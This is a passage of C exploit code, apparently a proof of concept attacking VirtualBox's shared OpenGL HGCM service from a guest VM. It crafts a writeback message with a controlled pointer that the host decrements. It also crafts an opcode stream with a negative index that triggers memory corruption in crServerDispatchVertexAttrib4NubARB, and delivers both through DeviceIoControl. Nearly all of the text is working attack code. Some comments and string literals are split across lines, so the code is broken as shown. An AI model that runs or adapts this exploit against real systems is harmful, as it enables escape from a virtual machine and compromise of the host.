memset(&msg, 0, sizeof(msg));
msg.writeback.header.type = CR_MESSAGE_WRITEBACK;
msg.writeback.header.conn_id = 0x8899;
//This address will be decremented by 1
*((DWORD *)msg.writeback.writeback_ptr.ptrSize) = 0xAABBCCDD;
memcpy(&mybuf, &msg, sizeof(msg));
strcpy(mybuf + sizeof(msg), "dummy");
memset(&parms, 0, sizeof(parms));
parms.hdr.result = VERR_WRONG_ORDER;
parms.hdr.u32ClientID = u32ClientID;
parms.hdr.u32Function = SHCRGL_GUEST_FN_INJECT;
parms.hdr.cParms = SHCRGL_CPARMS_INJECT;
parms.u32ClientID.type = VMMDevHGCMParmType_32bit;
parms.u32ClientID.u.value32 = u32ClientID;
parms.pBuffer.type = VMMDevHGCMParmType_LinAddr_In;
parms.pBuffer.u.Pointer.size = sizeof(mybuf);
parms.pBuffer.u.Pointer.u.linearAddr = (uintptr_t) mybuf;
rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CALL, &parms,
sizeof(parms), &parms, sizeof(parms), &cbReturned, NULL);
if (!rc){
printf("ERROR: DeviceIoControl failed in function
trigger_message_writeback()! LastError: %d\n", GetLastError());
exit(EXIT_FAILURE);
}
if (parms.hdr.result == VINF_SUCCESS){
printf("HGCM Call successful. cbReturned: 0x%X.\n", cbReturned);
}
else{
printf("HGCM Call failed. Result: %d\n", parms.hdr.result);
exit(EXIT_FAILURE);
}
}
/* Triggers the vulnerability in the crServerDispatchVertexAttrib4NubARB
function. */
void trigger_opcode_0xea(HANDLE hDevice, uint32_t u32ClientID){
CRVBOXHGCMINJECT parms;
char mybuf[0x10f0];
DWORD cbReturned = 0;
BOOL rc;
unsigned char opcodes[] = {0xFF, 0xea, 0x02, 0xf7};
DWORD opcode_data[] =
{0x08, //Advance 8 bytes
after executing opcode 0xF7, subopcode 0x30
0x30, //Subopcode for opcode 0xF7
0x331, //Argument for opcode 0x02
0xFFFCFA4B, //This is the
negative index used to trigger the memory corruption
0x41414141}; //Junk
CRMessageOpcodes msg_opcodes;
memset(&mybuf, 0, sizeof(mybuf));
memset(&msg_opcodes, 0, sizeof(msg_opcodes));
msg_opcodes.header.conn_id = 0x8899;
msg_opcodes.header.type = CR_MESSAGE_OPCODES;
msg_opcodes.numOpcodes = sizeof(opcodes);
char *offset = (char *)&mybuf;
memcpy(offset, &msg_opcodes, sizeof(msg_opcodes));
offset += sizeof(msg_opcodes);
/*----- Opcodes -----*/
memcpy(offset, &opcodes, sizeof(opcodes));
offset += sizeof(opcodes);
/*----- data for the opcodes -----*/
memcpy(offset, &opcode_data, sizeof(opcode_data));
offset += sizeof(opcode_data);
memset(&parms, 0, sizeof(parms));
parms.hdr.result = 0;
parms.hdr.u32ClientID = u32ClientID;
parms.hdr.u32Function = SHCRGL_GUEST_FN_INJECT;
parms.hdr.cParms = SHCRGL_CPARMS_INJECT;
parms.u32ClientID.type = VMMDevHGCMParmType_32bit;
parms.u32ClientID.u.value32 = u32ClientID;
parms.pBuffer.type = VMMDevHGCMParmType_LinAddr_In;
parms.pBuffer.u.Pointer.size = sizeof(mybuf);
parms.pBuffer.u.Pointer.u.linearAddr = (uintptr_t) mybuf;
rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CALL, &parms,
sizeof(parms), &parms, sizeof(parms), &cbReturned, NULL);